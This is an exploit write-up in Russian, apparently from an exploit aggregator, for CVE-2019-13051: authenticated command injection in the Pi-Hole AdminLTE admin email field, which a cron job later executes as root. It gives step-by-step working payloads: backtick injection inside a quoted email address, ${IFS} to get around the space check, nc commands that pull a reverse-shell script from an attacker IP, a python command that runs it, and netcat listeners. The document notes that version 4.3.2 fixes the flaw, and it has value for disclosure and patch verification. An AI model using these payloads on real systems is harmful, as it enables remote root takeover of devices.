Exploit for CVE-2019-13051

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-PR0TEAN-CVE-2019-13051
## Pi-Hole < 4.3.2 Внедрение команд и повышение привилегий (CVE-2019-13051)

_Версия Pi-Hole 4.3.2 содержит исправление этой уязвимости:https://github.com/pi-hole/AdminLTE/pull/974_

Огромное спасибо команде разработчиков Pi-Hole за их замечательный проект и за то, что сделали процесс сообщения об уязвимости таким простым!

### Краткое описание

Через описанные уязвимости в компоненте "AdminLTE" можно удалённо получить root-доступ на устройстве RaspberyPi (или на любом другом устройстве/ВМ, где работает приложение). Для эксплуатации требуются административный доступ/учётные данные к веб-интерфейсу AdminLTE.

В частности, можно обойти проверки регулярных выражений и внедрить произвольные команды в поле «Адрес электронной почты администратора». Эти команды, в свою очередь, сохраняются в "/etc/pihole/setupVars.conf", после чего они обрабатываются и выполняются с привилегиями **root** заданием cron.d «/usr/local/bin/pihole updatechecker local», запускающимся каждые 10 минут.

### Предварительные условия атаки

  1. Сетевая доступность административного веб-приложения Pi-Hole (AdminLTE).
  2. Наличие учётных данных для веб-приложения AdminLTE.



### Ограничения

Атакующему приходится ждать 10-минутного интервала cron-задания «/etc/cron.d/pihole» для выполнения команды/кода.

### Техническое описание

Надеемся, приведённые ниже детали и PoC помогут вам проверить и воспроизвести проблему.

После аутентификации в веб-приложении атакующему необходимо обойти несколько серверных проверок, чтобы успешно внедрить команду.

В «savesettings.php», на строке L:499, управляемая пользователем переменная «$adminemail» проверяется с помощью внутренней PHP-функции FILTER_VALIDATE_EMAIL, которая обладает относительно слабыми проверками.

Затем можно обойти эту проверку и продемонстрировать внедрение команды, просто заключив набор обратных кавычек в двойные кавычки. Например, введите следующее в качестве адреса электронной почты администратора:

`"`test>/tmp/poc_proof.txt`"@example.com`

![Screenshot 1](https://assets.kitploit.com/production/public/readmes/30770/c71ece912da846c40ab151910bd504d12e1714009f13fb14ab0b11078c3bb52c.png)

В течение 10 минут в «/tmp/poc_proof.txt» будет создан принадлежащий root файл, содержащий «test», с привилегиями root.

![Screenshot 2](https://assets.kitploit.com/production/public/readmes/30770/fdbac4c7231bef70c5cba93a8554cd8b42d173a353c316dce8cc4c6535a487cb.jpg)

Чтобы выполнять дальнейшие значимые атаки, необходимо также обойти ограничение на пробелы (которые не являются допустимыми символами электронной почты и отлавливаются функцией FILTER_VALIDATE_EMAIL). Для этого использовалась внутренняя переменная Linux ${IFS} (которая по умолчанию соответствует пробелу в большинстве UNIX-систем).

**PoC:**

*Примечание: это можно автоматизировать одной строкой с использованием грамматики POSIX shell, например &&, || ...

  1. Убедитесь, что у вас готов механизм доставки скрипта на атакующей машине. Т.е. на атакующей машине:



`nc -nvlp 4444 < revshell.py`

  2. Отправьте первую команду в поле «Адрес электронной почты администратора», чтобы инициировать получение и сохранение Python-скрипта reverse shell в «/tmp/revshell.py»:



`"`nc${IFS}192.168.1.69${IFS}4444>/tmp/revshell.py`"@example.com`

![Screenshot 3](https://assets.kitploit.com/production/public/readmes/30770/9c61c26cb1e6c3c25a620cc0235d7ad635a856964f87b18e02151e3084b73606.png)

HTTP-запрос будет выглядеть следующим образом при просмотре через HTTP-прокси:

![Screenshot 4](https://assets.kitploit.com/production/public/readmes/30770/8c4be79564652ff84e5b2f0703755bc7dfe1148caa22bcf413eeb124d1306dfd.png)

Подождите 10 минут, пока cron-задание выполнится и загрузит скрипт, или, для целей воспроизведения, выполните вручную `/usr/local/bin/pihole updatechecker local`. Также можно проверить внедрённую команду в "/etc/pihole/setupVars.conf" (она находится в переменной ADMIN_EMAIL).

  3. Убедитесь, что у вас готов сервис для перехвата shell. Т.е. на атакующей машине:



`nc -nvlp 4445`

  4. Наконец, вы можете отправить следующее:



`“`python${IFS}/tmp/revshell.py`”@example.com`

Снова подождите 10 минут (или выполните cron-скрипт вручную для воспроизведения проблемы), и вы получите root-shell на своей атакующей машине.

![Screenshot 1](https://assets.kitploit.com/production/public/readmes/30770/891fbf3c10d52ee07c4ab2288939f0a7ade874f81c203dec75a680530032415e.jpg)